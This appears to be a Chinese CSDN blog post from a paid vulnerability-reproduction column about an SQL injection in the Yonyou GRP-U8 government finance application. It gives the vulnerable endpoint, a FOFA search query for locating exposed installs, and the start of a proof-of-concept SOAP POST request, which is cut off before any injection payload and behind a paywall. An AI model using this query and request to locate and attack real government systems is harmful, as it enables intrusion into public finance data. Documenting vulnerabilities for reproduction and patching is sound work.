用友GRP-U8 operOriztion SQL注入漏洞（含批量验证poc）

今天晚上早睡觉

已于 2024-04-28 14:08:10 修改

阅读量27

点赞数

分类专栏：漏洞复现文章标签： sql 数据库 web安全

于 2024-04-28 14:07:56 首次发布

本文链接：https://blog.csdn.net/weixin_43567873/article/details/138276529

版权

漏洞复现专栏收录该内容

361 篇文章 88 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

简介

用友GRP-U8是面向政府及行政事业单位的财政管理应用。

漏洞描述

用友GRP-U8是面向政府及行政事业单位的财政管理应用。这个系统在/services/operOriztion发现SQL注入漏洞。

Fofa语法与漏洞编号

FOFA：

app="用友-GRP-U8"

影响资产数量：686

漏洞复现

POC

POST /services/operOriztion HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
Content-Length: 477

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/200

了解本专栏